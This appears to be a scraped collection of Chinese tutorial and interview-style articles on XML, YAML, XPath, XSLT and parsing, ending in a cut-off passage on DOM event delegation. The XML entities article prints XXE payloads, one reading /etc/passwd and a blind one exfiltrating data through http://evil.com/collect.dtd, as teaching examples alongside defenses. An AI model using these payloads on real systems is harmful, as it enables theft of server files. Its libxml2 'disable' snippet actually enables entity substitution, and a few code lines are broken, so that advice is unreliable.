XHTML在文档的根元素集中声明所有需要的命名空间,方便维护同一文档中对同一命名空间始终使用相同前缀只在确实存在命名冲突风险时才引入命名空间,避免不必要的复杂性追问Q: 命名空间 URI 是否必须是一个可访问的 URL?不是。URI 仅作为标识符,解析器不会尝试访问它。使用 URL 格式只是行业惯例,因为它天然具备全局唯一性。实际开发中,这个地址可能根本不存在。Q: 默认命名空间和没有命名空间有什么区别?有默认命名空间的元素属于该命名空间;没有前缀且没有默认命名空间的元素属于"无命名空间"。这是两个不同的状态——属于某个命名空间和不属于任何命名空间在 XSD 验证中表现完全不同。
服务端阅读 05月28日 03:48

YAML 1.1 和 YAML 1.2 有什么区别?

YAML 1.1 和 YAML 1.2 的核心差异在于类型推断规则。YAML 1.1 对隐式类型推断非常激进——yes/no/on/off 全部解析为布尔值,010 解析为八进制 8,3:25:45 解析为六十进制秒数。YAML 1.2 砍掉了这些"聪明"的推断,只认 true/false 为布尔值,八进制必须写 0o10,六十进制格式直接移除。1.2 的目标是和 JSON 完全兼容——任何合法 JSON 都是合法的 YAML 1.2,但 1.1 做不到这点。最典型的坑是"Norway Problem":用 YAML 1.1 写国家代码 NO(挪威),解析出来是布尔值 false。这在处理国际化数据时是真实踩过的坑。1.2 修复了这个问题,NO 就是字符串 "NO"。版本兼容性处理的关键:不要指望声明 %YAML 1.2 就万事大吉——PyYAML、LibYAML 这些主流库至今默认走 1.1 规则。实际做法是写配置时始终用 true/false 表布尔值、用引号包裹可能有歧义的字符串、八进制加 0o 前缀,这样不管解析器用的是哪个版本都不会出问题。追问YAML 1.2 具体移除了哪些 YAML 1.1 的类型?移除了五个类型标签:!!pairs(有序键值对序列)、!!omap(无重复有序映射)、!!set(集合)、!!timestamp(时间戳)、!!binary(二进制数据)。另外 merge key << 和 value key = 这两个特殊映射键也移除了。<< 在 1.1 里用来做锚点合并,很多人依赖它做配置继承,迁移时要改成显式写法。为什么 PyYAML 还在用 YAML 1.1?历史包袱太重。PyYAML 基于 LibYAML(C 实现),改动底层类型推断会影响大量现有配置文件的解析结果。社区有 ruamel.yaml 作为 1.2 的替代方案,但 PyYAML 因为存量用户太多不敢贸然切换默认行为。实际项目中如果需要 1.2,用 ruamel.yaml 并指定 version=(1, 2) 即可。同一份 YAML 文件在 1.1 和 1.2 下解析结果不同,怎么排查?重点检查三类值:布尔值(yes/no/on/off)、以 0 开头的数字(八进制 vs 十进制)、以及六十进制时间格式。用两个解析器分别加载同一文件,对比输出差异。Python 里可以同时用 PyYAML 和 ruamel.yaml 跑一遍,JavaScript 的 js-yaml 默认走 1.2 规则可以直接对比。YAML 1.1 的 sexagesimal 格式是什么?六十进制数字,写成 3:25:45 这种形式,解析为 12345 秒。YAML 1.2 移除了这个格式,同样的写法在 1.2 里就是普通字符串。如果你的配置里用了时间格式如 12:30:00,在 1.1 下会被解析成数字 45000,1.2 下是字符串 "12:30:00"——这也是迁移时容易踩的坑。
计算机基础阅读 05月28日 03:48

XPath 是什么?XML 数据查询从入门到实战

XPath 是 XML 世界里的"查询语言"——你有一堆结构化的 XML 数据,想从中精确提取某个节点的值、过滤满足条件的元素、或者统计某个属性出现的次数,XPath 就是干这个的。几乎所有需要处理 XML 的场景都会用到它:Java 解析配置文件、Python 爬虫提取网页数据、XSLT 转换文档格式,底层都依赖 XPath 定位节点。如果把 XML 文档比作一栋大楼,那 XPath 就是楼里的导航系统——告诉你"3 楼东侧第二个房间"在哪,而不是让你挨个门去找。XPath 把 XML 看成一棵树拿到一份 XML 文档后,XPath 要做的第一件事是把它当成一棵"节点树"。每种 XML 组成部分对应一种节点类型:元素节点:XML 中的标签,比如 <book>属性节点:标签里的属性,比如 category="web"文本节点:标签之间的文字内容文档节点:整份 XML 的根,也叫根节点剩下的命名空间节点、处理指令节点、注释节点用得少,知道就行。关键理解一点:XPath 的所有查询操作,本质上都是在"在这棵树上找路"。路径表达式:XPath 的基本语法拿一份常见的 XML 举例:<bookstore> <book category="web"> <title lang="en">XML Guide</title> <author>John Doe</author> <price>39.95</price> </book> <book category="database"> <title lang="en">SQL Basics</title> <author>Jane Smith</author> <price>29.99</price> </book></bookstore>绝对路径和相对路径/bookstore → 根元素 bookstore/bookstore/book → bookstore 下所有 book 子元素//book → 文档中任意位置的 book 元素bookstore//book → bookstore 后代中所有 book 元素/ 开头是绝对路径,从根节点出发;// 表示"不管在哪一层,只要匹配就选出来",类似文件系统的递归搜索。一个性能细节://book 看起来方便,但它会遍历整棵树,文档大的时候性能开销明显。如果知道节点的大致位置,用 /bookstore/book 这种更精确的路径更快。谓词:加条件过滤谓词写在方括号 [] 里,用来筛选满足特定条件的节点。可以把谓词理解为 SQL 的 WHERE 子句——都是给查询加过滤条件:/bookstore/book[1] → 第一个 book/bookstore/book[last()] → 最后一个 book/bookstore/book[position()<3] → 前两个 book//book[@category='web'] → category 属性为 web 的 book//book[price>35] → price 大于 35 的 book实际开发中大部分 XPath 查询都离不开谓词。一个实用技巧:多个条件可以用 and/or 组合,比如 //book[@category='web' and price<40]。通配符* → 任何元素节点@* → 任何属性节点node() → 任何类型的节点用得不多,但在写通用查询时很方便,比如 //book/* 取出 book 下所有子元素,不用逐个写子元素名称。轴:指定搜索方向轴定义了"从当前节点往哪个方向找"。默认轴是 child,所以 /bookstore/book 其实是 /child::bookstore/child::book 的简写。常用的轴:parent → 父节点(简写 ..)child → 所有子节点(默认,可省略)descendant → 所有后代节点ancestor → 所有祖先节点following-sibling → 之后的同级节点preceding-sibling → 之前的同级节点self → 自身(简写 .)完整语法是 轴名::节点测试,比如 ancestor::book 表示找所有叫 book 的祖先节点。日常开发中 parent、child、descendant、following-sibling 这几个占了 90% 的使用场景。内置函数:让查询更灵活XPath 内置了一批函数,可以直接在谓词和表达式中调用。字符串函数——出场率最高contains(title, 'XML') → title 包含 "XML"starts-with(@lang, 'en') → lang 属性以 "en" 开头substring(price, 1, 4) → 截取 price 的前 4 个字符normalize-space(text) → 去掉多余空白string-length(title) → 标题长度contains 是日常开发中出场率最高的函数,做模糊匹配全靠它。一个常见场景:在配置文件里找所有包含特定关键字的节点。聚合和数值函数count(//book) → 统计 book 元素数量sum(//book/price) → 所有 price 求和floor(3.7) → 3(向下取整)ceiling(3.2) → 4(向上取整)round(3.5) → 4(四舍五入)布尔函数not(@category='web') → category 不是 webboolean(//book) → 是否存在 book 元素(判空用)boolean() 配合 not() 可以判断"某个节点是否存在",在做数据校验时很有用。在各语言中实际使用 XPathJavaXPathFactory factory = XPathFactory.newInstance();XPath xpath = factory.newXPath();DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();Document doc = dbf.newDocumentBuilder().parse(new File("books.xml"));// 查询单个值String title = xpath.evaluate("//book[@category='web']/title/text()", doc);// 查询节点列表NodeList books = (NodeList) xpath.evaluate("//book", doc, XPathConstants.NODESET);for (int i = 0; i < books.getLength(); i++) { Element book = (Element) books.item(i); System.out.println(book.getAttribute("category"));}踩坑提醒:Java 默认的 XPath 实现是串行执行的,大文件查询会很慢。如果性能敏感,考虑换用 Saxon-HE 等第三方实现。另外,DocumentBuilderFactory.newInstance() 默认不启用命名空间支持,需要 dbf.setNamespaceAware(true) 才能用命名空间相关的 XPath 查询。Python(lxml 库)from lxml import etreetree = etree.parse("books.xml")# 提取文本titles = tree.xpath("//book[@category='web']/title/text()")# 提取属性categories = tree.xpath("//book/@category")# 用函数做统计total = sum(tree.xpath("//book/price/text()"))Python 爬虫中 lxml + XPath 是黄金组合,比 BeautifulSoup 的 CSS 选择器更灵活——尤其是处理不规则的 HTML 结构,XPath 的 contains() 和轴查询能解决很多 CSS 选择器搞不定的问题。JavaScript(浏览器环境)const parser = new DOMParser();const xmlDoc = parser.parseFromString(xmlString, "text/xml");const result = xmlDoc.evaluate( "//book[@category='web']/title", xmlDoc, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);for (let i = 0; i < result.snapshotLength; i++) { console.log(result.snapshotItem(i).textContent);}浏览器环境下的 document.evaluate 可以直接对 HTML DOM 执行 XPath 查询,不限于 XML 文档。做自动化测试或油猴脚本时很实用。XPath 和 XQuery 的关系XQuery 基于 XPath 构建,但能力更强:XPath:定位和选择节点,是"找东西"的工具XQuery:不仅能找,还能构造新的 XML 结构、做 FLWOR 查询(类似 SQL 的 for-let-where-order-return)如果只是从 XML 里提取数据,XPath 够用。如果需要查询后重新组织输出格式,才需要 XQuery。常见坑和最佳实践命名空间陷阱——新手第一大坑XML 声明了命名空间后,直接用 /root/child 可能查不到节点。比如:<root xmlns="http://example.com/ns"> <child>hello</child></root>此时 //child 返回空,因为 child 已经属于一个命名空间了。必须在代码中注册命名空间前缀,然后用前缀查询:# Python lxml 示例tree.xpath("//ns:child/text()", namespaces={"ns": "http://example.com/ns"})这是 XPath 新手最常遇到的"明明节点在,就是查不到"的问题。// 的性能问题前面说过,// 会遍历全树。几百 KB 的文档无所谓,几十 MB 的文档就会明显卡顿。能写精确路径就别用 //,尤其是循环里反复执行 XPath 的时候。文本节点的空白陷阱XML 中的换行和缩进会被解析为文本节点,//text() 可能返回一大堆空白字符串。用 normalize-space() 过滤,或者直接用 /text() 取特定层级的文本。XPath 1.0 vs 2.0/3.0大多数语言内置的是 XPath 1.0,不支持 for 循环、条件表达式(if-then-else)、正则匹配等 2.0+ 特性。需要高级功能时:Java → 用 Saxon 替换默认实现Python → lxml 的扩展函数,或换用 xml.etree.ElementTree 的有限 XPath 支持C# → .NET 3.5+ 支持 XPath 1.0,更高级需要第三方库特殊字符转义路径中包含单引号或双引号时,需要用 concat() 拼接,比如 //book[title=concat("He said '", "'", "s book")]。XPath 1.0 没有原生的转义语法,这是它的一个设计缺陷。XPath 2.0+ 支持双引号内转义单引号,但 1.0 环境下只能用 concat() 绕路。查询结果缓存如果同一条 XPath 会被反复执行(比如在循环里),考虑编译一次、重复执行:// Java 编译 XPath 表达式XPathExpression expr = xpath.compile("//book[@category='web']");NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);编译一次比每次都 evaluate() 快得多,尤其是复杂表达式。
计算机基础阅读 05月28日 03:47

XSLT 是什么?XML 转换的模板匹配机制详解

XSLT 经常被误解为"XML 的 CSS"——其实它更像一门函数式编程语言。你写一系列模板规则,XSLT 处理器拿着这些规则去匹配 XML 节点,匹配上了就输出对应内容。理解这个模型,比背语法重要得多。XSLT 处理模型:模板驱动的递归匹配XSLT 的核心不是"写一个程序去遍历 XML",而是"告诉处理器遇到什么节点就输出什么"。处理器从根节点开始,按模板优先级逐级匹配,遇到 apply-templates 就递归处理子节点。这个过程有几个关键规则:匹配优先级:更具体的匹配规则优先。match="bookstore/book" 比 match="*" 优先级高内置模板:如果你没写匹配某节点的模板,XSLT 有默认行为——继续递归处理子节点,文本节点直接输出内容。这就是为什么你只写了部分模板,其他内容也会"冒出来"一次匹配:一个节点只会被优先级最高的模板处理一次<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- 匹配根节点,输出 HTML 框架 --> <xsl:template match="/"> <html> <body> <xsl:apply-templates select="bookstore/book"/> </body> </html> </xsl:template> <!-- 匹配每本书,输出一行 --> <xsl:template match="book"> <p><xsl:value-of select="title"/> - <xsl:value-of select="author"/></p> </xsl:template></xsl:stylesheet>apply-templates 和 for-each 都能遍历节点,但区别很重要:apply-templates 把控制权交给模板匹配机制,天然支持递归和模块化;for-each 是命令式的,所有逻辑都写在一个块里。简单遍历用 for-each 没问题,但一旦逻辑复杂,模板匹配更好维护。XPath:XSLT 的导航语言XSLT 离不开 XPath。你在 select 属性里写的表达式就是 XPath,它决定了"从 XML 里取什么数据"。几个高频用法:| XPath 表达式 | 含义 ||---|---|| /bookstore/book | 从根节点选取所有 book || //book | 任意层级的 book 节点 || book[@category='web'] | category 属性为 web 的 book || book[position() > 1] | 第二本书开始(下标从 1 计) || count(//book) | book 节点数量 |一个容易踩的坑://book 看起来方便,但它在整个文档树中搜索,大数据量下性能很差。能写绝对路径 /bookstore/book 就不要用 //。条件判断和循环if 和 chooseXSLT 1.0 没有 else,只有 xsl:if。需要多分支判断时用 choose/when/otherwise:<xsl:template match="book"> <div> <xsl:choose> <xsl:when test="price > 30"> <xsl:attribute name="class">expensive</xsl:attribute> </xsl:when> <xsl:when test="price > 20"> <xsl:attribute name="class">moderate</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="class">cheap</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:value-of select="title"/> - $<xsl:value-of select="price"/> </div></xsl:template>注意 XML 里的比较运算符要用转义:> 写成 >,< 写成 <。初学者经常在这卡住。for-each 和排序<xsl:for-each select="bookstore/book"> <xsl:sort select="price" order="ascending" data-type="number"/> <p><xsl:value-of select="title"/> - $<xsl:value-of select="price"/></p></xsl:for-each>sort 必须紧跟在 for-each 或 apply-templates 后面,放在其他位置会被忽略——而且不会报错。变量和参数变量(不可变)XSLT 的变量一旦赋值就不能修改,这是函数式编程的特征:<xsl:variable name="maxPrice" select="100"/><xsl:variable name="bookCount" select="count(//book)"/>想实现"累加计数"?不能靠修改变量,得用递归模板或者 sum() 等 XPath 聚合函数。这是从命令式语言转过来的开发者最容易不适应的地方。参数(模板间传值)<!-- 定义带参数的命名模板 --><xsl:template name="formatPrice"> <xsl:param name="price"/> <xsl:param name="currency" select="'$'"/> <xsl:value-of select="concat($currency, format-number($price, '#,##0.00'))"/></xsl:template><!-- 调用 --><xsl:call-template name="formatPrice"> <xsl:with-param name="price" select="price"/> <xsl:with-param name="currency" select="'€'"/></xsl:call-template>模板模式:同一节点不同输出同一个 XML 节点,你可能在不同位置需要不同的输出形式。mode 属性解决这个需求:<!-- 简略模式:只显示标题 --><xsl:template match="book" mode="summary"> <li><xsl:value-of select="title"/></li></xsl:template><!-- 详细模式:显示全部信息 --><xsl:template match="book" mode="detail"> <div class="book-detail"> <h3><xsl:value-of select="title"/></h3> <p>Author: <xsl:value-of select="author"/></p> <p>Price: $<xsl:value-of select="price"/></p> </div></xsl:template><!-- 按需调用 --><ul><xsl:apply-templates select="book" mode="summary"/></ul><div><xsl:apply-templates select="book" mode="detail"/></div>key:XSLT 的"索引"用 xsl:key 可以实现类似数据库索引的效果,最常用于分组(XSLT 1.0 没有 group-by,得用 Muenchian 分组法):<!-- 定义按 author 分组的 key --><xsl:key name="books-by-author" match="book" use="author"/><!-- 取出每个 author 的第一本书(去重) --><xsl:for-each select="bookstore/book[count(. | key('books-by-author', author)[1]) = 1]"> <h2><xsl:value-of select="author"/></h2> <ul> <xsl:for-each select="key('books-by-author', author)"> <li><xsl:value-of select="title"/></li> </xsl:for-each> </ul></xsl:for-each>Muenchian 分组的写法确实反直觉。如果你可以用 XSLT 2.0+,直接用 xsl:for-each-group 就行,省掉这些弯弯绕绕。在不同语言中执行 XSLT 转换JavaTransformerFactory factory = TransformerFactory.newInstance();Transformer transformer = factory.newTransformer( new StreamSource(new File("transform.xsl")));transformer.transform( new StreamSource(new File("data.xml")), new StreamResult(new File("output.html")));注意 TransformerFactory.newInstance() 会按特定顺序查找实现,如果 classpath 里有 Saxon 等第三方实现,可能拿到的不是 JDK 内置的 Xalan。生产环境建议显式指定:TransformerFactory factory = TransformerFactory.newInstance( "net.sf.saxon.TransformerFactoryImpl", null);Python(lxml)from lxml import etreexml_doc = etree.parse("data.xml")xslt_doc = etree.parse("transform.xsl")transform = etree.XSLT(xslt_doc)result = transform(xml_doc)lxml 的 XSLT 只支持 1.0。需要 2.0/3.0 特性的话,得用 saxonc 库调用 Saxon-HE。浏览器端浏览器曾经原生支持 XSLT(XSLTProcessor),但现在已经不推荐在前端做转换了——性能差、调试难、XSLT 1.0 功能有限。现代做法是在构建阶段或服务端完成转换。XSLT 1.0 vs 2.0 vs 3.0| 特性 | 1.0 | 2.0 | 3.0 ||---|---|---|---|| 分组 | Muenchian 分组(复杂) | for-each-group | for-each-group || 正则 | 不支持 | xsl:analyze-string | xsl:analyze-string || 函数定义 | 不支持 | xsl:function | xsl:function || 多输出 | 不支持 | xsl:result-document | xsl:result-document || 包机制 | 不支持 | 不支持 | xsl:use-package || try/catch | 不支持 | 不支持 | xsl:try |XSLT 1.0 是浏览器唯一支持的版本。服务端处理建议至少用 2.0,分组和函数定义这两个特性就能省掉大量代码。实战踩坑字符编码问题:转换输出中文乱码,通常是因为没有指定 xsl:output 的 encoding 属性,或者输出文件的编码和声明不一致。加上 <xsl:output method="html" encoding="UTF-8"/> 基本能解决。命名空间冲突:源 XML 带了默认命名空间(如 xmlns="http://example.com"),你写的模板死活匹配不上。XSLT 里命名空间必须显式匹配,不能用空命名空间去匹配有命名空间的节点。解决方法是给命名空间加前缀:xpath-default-amespace="http://example.com"(2.0+),或者在 1.0 里手动声明前缀并使用。大文件内存溢出:XSLT 处理器默认把整个 XML 加载到内存。几十 MB 的 XML 文件可能直接 OOM。Saxon-EE 的流式处理(streaming)可以解决这个问题,但社区版(HE)不支持。XSLT 的学习曲线主要卡在思维方式的转换——从命令式的"怎么做"切换到声明式的"要什么"。理解了模板匹配的递归模型,剩下的语法只是工具。
计算机基础阅读 05月28日 03:47

XML 实体详解:4 种类型与 XXE 攻击防护

XML 文档里有些内容会反复出现——公司名、版权声明、版本号,每次手写既麻烦又容易改漏。XML 实体就是解决这个问题的:定义一次,到处引用。但实体的能力不止于此,外部实体还能引入其他文件的内容,而这个特性恰恰成了 XXE 攻击的入口。实体是什么实体(Entity)本质是一个"文本替身"——你在 DTD 里声明它代表什么,文档里用 &实体名; 引用它,解析器会自动替换成实际内容。<!DOCTYPE config [ <!ENTITY app "订单系统"> <!ENTITY ver "2.3.1">]><config> <name>&app;</name> <version>&ver;</version></config>解析后 &app; 变成"订单系统",&ver; 变成"2.3.1"。改一处定义,所有引用自动更新。四种实体类型内部实体值直接写在 DTD 里的实体,适合复用短文本:<!DOCTYPE letter [ <!ENTITY sender "张三"> <!ENTITY closing "此致敬礼">]><letter> <body>&sender; 申请退款</body> <footer>&closing;</footer></letter>内部实体没有安全风险,放心用。外部实体引用外部文件的内容,SYSTEM 关键字指向文件路径:<!DOCTYPE book [ <!ENTITY ch1 SYSTEM "chapter1.xml"> <!ENTITY ch2 SYSTEM "chapter2.xml">]><book> &ch1; &ch2;</book>外部实体方便模块化管理,但也带来了 XXE 注入风险——后面详说。参数实体只在 DTD 内部使用的实体,用 % 声明和引用:<!DOCTYPE catalog [ <!ENTITY % basic " <!ELEMENT title (#PCDATA)> <!ELEMENT price (#PCDATA)> "> %basic;]>参数实体的核心用途是拆分和复用 DTD 片段。当 DTD 声明很长时,把公共部分抽成参数实体,多个 DTD 共享同一份定义。预定义实体XML 自带 5 个,转义特殊字符,不需要声明:| 实体 | 字符 | 用在哪 ||------|------|--------|| < | < | 标签符号不能直接写 || > | > | 同上 || & | & | 实体引用符号本身 || ' | ' | 属性值用单引号时 || " | " | 属性值用双引号时 |<condition>5 < 10</condition><msg>She said "done"</msg>XXE 攻击:外部实体的安全隐患外部实体能读文件,这个能力如果被攻击者利用,后果很严重。攻击原理攻击者构造包含恶意外部实体的 XML:<!DOCTYPE data [ <!ENTITY steal SYSTEM "file:///etc/passwd">]><data>&steal;</data>服务器解析这段 XML 时,&steal; 会被替换成 /etc/passwd 的文件内容。如果这个内容被返回给客户端,攻击者就拿到了服务器的敏感文件。更危险的是参数实体版本的盲注 XXE——不直接回显内容,而是把数据外带发送到攻击者的服务器:<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://evil.com/collect.dtd"> %dtd;]>collect.dtd 里可以定义把 %file; 内容拼进 URL 请求参数,实现数据外泄。防护方案Java(最严格,直接禁用 DTD):DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);// 如果必须用 DTD,至少禁用外部实体dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.parse("input.xml", parser)libxml2 全局禁用:xmlCtxtUseOptions(parser, XML_PARSE_NOENT, NULL);关键原则:默认禁用外部实体,只在确实需要的场景有条件地开启。实体的替代方案现代 XML 开发中,实体尤其是外部实体的使用在减少,有两个更好的替代:XIncludeXInclude 是 W3C 标准的包含机制,不依赖 DTD,不触发 XXE:<book xmlns:xi="http://www.w3.org/2001/XInclude"> <title>系统设计手册</title> <xi:include href="chapter1.xml"/> <xi:include href="chapter2.xml"/></book>XML Schema 的 fixed 属性对于内部实体"定义常量"的用途,Schema 的 fixed 属性可以替代:<xs:element name="version" type="xs:string" fixed="2.3.1"/>使用建议内部实体:放心用,复用短文本的好工具,但别过度——如果实体名比内容还长就没必要外部实体:生产环境尽量别用,用 XInclude 替代参数实体:维护大型 DTD 时很有用,但大部分项目已经转向 Schema,参数实体的使用场景在萎缩预定义实体:不需要特别记,编辑器会自动转义;手写 XML 时注意 < 和 & 必须转义安全第一:任何接收外部 XML 输入的接口,都要禁用外部实体解析,这是最低限度的安全措施
计算机基础阅读 05月28日 03:47

XML 文档格式良好和有效有什么区别?

格式良好是 XML 的语法底线——标签必须闭合、正确嵌套、单一根元素、属性值加引号、特殊字符转义。解析器碰到不格式良好的文档直接报错,根本不会继续处理。有效是在格式良好的基础上,再对照 DTD 或 XML Schema 检查语义约束——元素顺序对不对、必填字段有没有缺、数据类型匹不匹配。一个文档可以格式良好但无效(语法没问题但违反了 Schema 约束),但有效的一定格式良好。核心区别:格式良好只管"能不能解析",有效还要管"符不符合业务规则"。前者是 XML 规范的硬性要求,后者取决于你定义的 Schema。追问DTD 和 XML Schema 有什么区别?| 维度 | DTD | XML Schema ||------|-----|------------|| 数据类型 | 只有文本,没有类型 | 支持 string、integer、date 等丰富类型 || 命名空间 | 不支持 | 原生支持 || 语法 | 自有一套非 XML 语法 | 本身就是 XML 文档 || 扩展性 | 弱 | 支持复杂类型继承、约束facet || 现状 | 遗留系统在用,新项目不推荐 | 主流方案 |实际项目里怎么选验证方式?配置文件(Spring、Maven)通常自带 Schema 声明,解析时自动验证。数据交换场景建议用 XSD 做强校验,防止对方传过来的结构不符合约定。开发阶段开验证、生产环境看性能需求可以关掉——Schema 验证有开销。格式良好但无效的文档能被解析吗?能。解析器分两类:非验证型解析器只检查格式良好性,不会因为违反 Schema 就拒绝解析。只有开启验证模式的解析器才会同时检查有效性。所以一个缺了必填字段的 XML,照样能被 DOM/SAX 解析成树结构,只是语义上不合规。什么时候 XML 不格式良好也不会报错?用了容错解析器(比如浏览器的 HTML 解析器),或者解析时开了 recover 模式。但标准 XML 解析器遇到格式错误必须报告 fatal error,这是 XML 规范的硬要求——和 HTML 的"宽容解析"不同,XML 的设计哲学就是宁可报错也不要猜。写段代码// 开启 Schema 验证SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = sf.newSchema(new File("book.xsd"));DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setSchema(schema); // 设置 Schema 后解析时自动验证
计算机基础阅读 05月28日 03:47

XML 解析中 DOM 和 SAX 有什么区别?

DOM 把整个 XML 一次性加载到内存建树,SAX 逐行读、遇到标签就触发回调。所以 DOM 能随机访问、能改,但吃内存;SAX 省内存、速度快,但只能顺序读、不能改。面试里一般答到"一个树一个事件驱动"就算到位,但追问肯定会问更细。追问DOM 和 SAX 的内存差距到底有多大?解析一个 100MB 的 XML,DOM 可能吃掉 300-500MB 内存(树节点的对象开销远大于原始文本),SAX 基本只占几 KB 的缓冲区。大文件用 DOM 直接 OOM 是真实生产事故,不是理论风险。StAX 和 SAX 有什么区别?为什么有了 SAX 还要 StAX?SAX 是推模型——解析器主动推事件给你,你没法控制解析节奏。StAX 是拉模型——你调用 next() 主动拉下一个事件,想停就停,想跳就跳。实际开发中 StAX 更灵活,代码也更好写(不用写一堆回调)。JDK 6 开始 StAX 就是 JAXP 的一部分了。实际项目里怎么选?| 场景 | 选择 | 原因 ||------|------|------|| 配置文件(几十 KB) | DOM / Dom4j | 小文件内存不是问题,随机访问方便 || 大日志文件(几百 MB+) | SAX / StAX | 流式处理不爆内存 || 需要修改 XML 再写回 | DOM | SAX 只读,改不了 || 只提取少数字段 | SAX / StAX | 不用为几个字段加载整棵树 |JAXB 还在用吗?Java 9 标记废弃,Java 11 正式移除(从 JDK 里删了)。现在要用得手动加 jakarta.xml.bind 依赖。新项目如果要做 XML-对象映射,Jackson 的 XML 模块比 JAXB 好用。DOM 解析有什么常见坑?编码问题:XML 声明的 encoding 和文件实际编码不一致,直接乱码或抛异常空白节点:格式化缩进会产生大量 #text 空白节点,遍历时要 getNodeType() 过滤,否则逻辑全乱命名空间:带命名空间的 XML 必须用 getElementsByTagNameNS(),用错方法查不到元素实体注入:外部实体引用(XXE)是安全漏洞,解析时必须禁用:factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)写段代码StAX 拉式解析,对比上面 SAX 的回调写法,感受下代码简洁度的差距:XMLStreamReader reader = XMLInputFactory.newInstance() .createXMLStreamReader(new FileInputStream("data.xml"));while (reader.hasNext()) { if (reader.next() == START_ELEMENT && reader.getLocalName().equals("title")) { System.out.println(reader.getElementText()); }}
计算机基础阅读 05月28日 03:46

XML 属性和子元素有什么区别?什么时候该用哪个?

XML 属性适合放元数据——ID、类型、状态这类简单的键值对;子元素适合放实际数据和可能变复杂的内容。属性的硬限制是:只能存纯文本、同一元素内不能重复、不能嵌套子结构。所以只要信息有可能扩展、可能多值、可能变复杂,就应该用子元素。一个实用的判断方法:如果你犹豫"这个该放属性还是子元素",大概率该用子元素。属性只在你非常确定它永远是一个简单原子值时才用。W3C 和 Google XML Style Guide 的建议一致:元数据用属性,数据本身用子元素。追问属性和子元素的核心区别是什么?属性是开始标签上的 name="value" 对,值只能是纯文本,同名属性在同一元素内只能出现一次。子元素是嵌套在父元素内的独立元素,可以重复、可以嵌套、可以有混合内容(文本和子元素混排),且保持文档顺序。用代码看最直观:<!-- 属性:简单键值对 --><book id="B001" category="programming" lang="zh"> <title>XML 实战</title></book><!-- 子元素:可以重复、嵌套、保持顺序 --><book> <id>B001</id> <categories> <category>programming</category> <category>reference</category> </categories></book>category 如果可能多值,属性就搞不定——它不能重复,只能用子元素。实际项目里选错会怎样?配置文件把数据库连接参数全写成属性:<db driver="mysql" host="127.0.0.1" port="3306"/>后来要给 host 加 failover 列表、给连接加 SSL 配置,属性扩展不了,只能全部拆成子元素重写。如果一开始就用子元素,加字段只是多写几行的事。再比如 SOAP 协议里,早期版本大量使用属性传业务数据,后来扩展性需求上来后不得不迁移到子元素,导致版本兼容成了大坑。Google 和 W3C 的官方建议是什么?Google XML Style Guide 明确说:属性只用于 ID 引用等元数据,其他一律用子元素。W3C 的 XML 推荐标准虽然没有强制规定,但示例中始终把元数据(id、class)放属性,内容数据放子元素。两条规则的内核一样——属性是"关于数据的数据",子元素是"数据本身"。有没有属性确实更合适的场景?HTML/SVG 是属性发挥优势的典型场景:<div id="main" class="container">、<rect x="10" y="20" width="100"/>——id、class、坐标、尺寸都是纯元数据,不会变复杂,用属性比嵌套子元素简洁得多,解析也更快。另外在 SAX 流式解析中,一个元素的所有属性一次性报出,而子元素逐个触发事件。如果你需要快速读取元数据做路由分发,属性在性能上有微小优势。属性值有长度限制吗?多行文本能放属性吗?XML 规范没有规定属性值长度上限,但实际中有两个问题:很多 SAX 解析器实现在属性值超过一定长度时性能下降甚至截断;更关键的是,属性值中的换行符会被 XML 解析器规范化为空格——多行文本放属性里会丢失格式。所以长文本、多行内容、含换行的代码片段,必须用子元素。写段代码<!-- 推荐:元数据用属性,数据用子元素 --><book id="B001" isbn="978-0-123456-78-9" lang="zh"> <title>XML 实战</title> <authors> <author>张三</author> <author>李四</author> </authors></book>
前端阅读 95月28日 03:39

什么是事件代理?原理、优缺点和应用场景是什么?

事件代理(事件委托)是利用事件冒泡机制,将子元素的事件监听器统一绑定到父元素上的一种模式。面试中常从原理、优缺点、边界问题、实战场景四个层面考察。核心原理DOM 事件流经历三个阶段:捕获阶段(从 window 向下传播到目标元素)→ 目标阶段(事件到达目标元素)→ 冒泡阶段(从目标元素向上传播回 window)。事件代理利用的就是冒泡阶段——子元素触发事件后,事件沿 DOM 树逐层向上传播,因此在父元素上可以统一捕获并处理。// 传统方式:每个子元素各自绑定,N 个元素需要 N 个监听器document.querySelectorAll('li').forEach(li => { li.addEventListener('click', handler);});// 事件代理:只在父元素绑定一次,无论多少子元素都只需 1 个监听器document.querySelector('ul').addEventListener('click', (e) => { if (e.target.matches('li')) { handler(e); }});优点减少内存占用:100 个按钮只需 1 个监听器,而非 100 个,显著降低内存消耗动态元素自动响应:新增的子元素无需重新绑定,天然具备事件响应能力,特别适合动态渲染的列表减少 DOM 操作:绑定和解绑只涉及父元素,降低与 DOM 的交互次数代码更易维护:事件处理逻辑集中在父元素,修改时只需改一处缺点不适用于不冒泡的事件:focus、blur、scroll、mouseenter/mouseleave 不冒泡,无法使用事件代理(可改用 focusin/focusout,它们冒泡)嵌套元素干扰判断:子元素内部还有子元素时,e.target 可能不是期望的目标元素非目标点击误触发:父元素区域内非目标元素的点击也会进入回调,需要手动过滤层级过深可能被拦截:冒泡链路中间如果调用了 stopPropagation(),事件无法到达代理层嵌套子元素干扰如何解决用 e.target.closest('li') 替代 e.target.matches('li')。closest 会沿 DOM 树向上查找最近匹配的祖先元素,即使点击的是 li 内部的 span 也能正确定位。而 matches 只检查元素自身,不向上查找。// matches 版本:点击 li 内的 span 会匹配失败ul.addEventListener('click', (e) => { if (e.target.matches('li')) handler(e); // 内部有 span 时失效});// closest 版本:点击 li 内的 span 仍能找到 liul.addEventListener('click', (e) 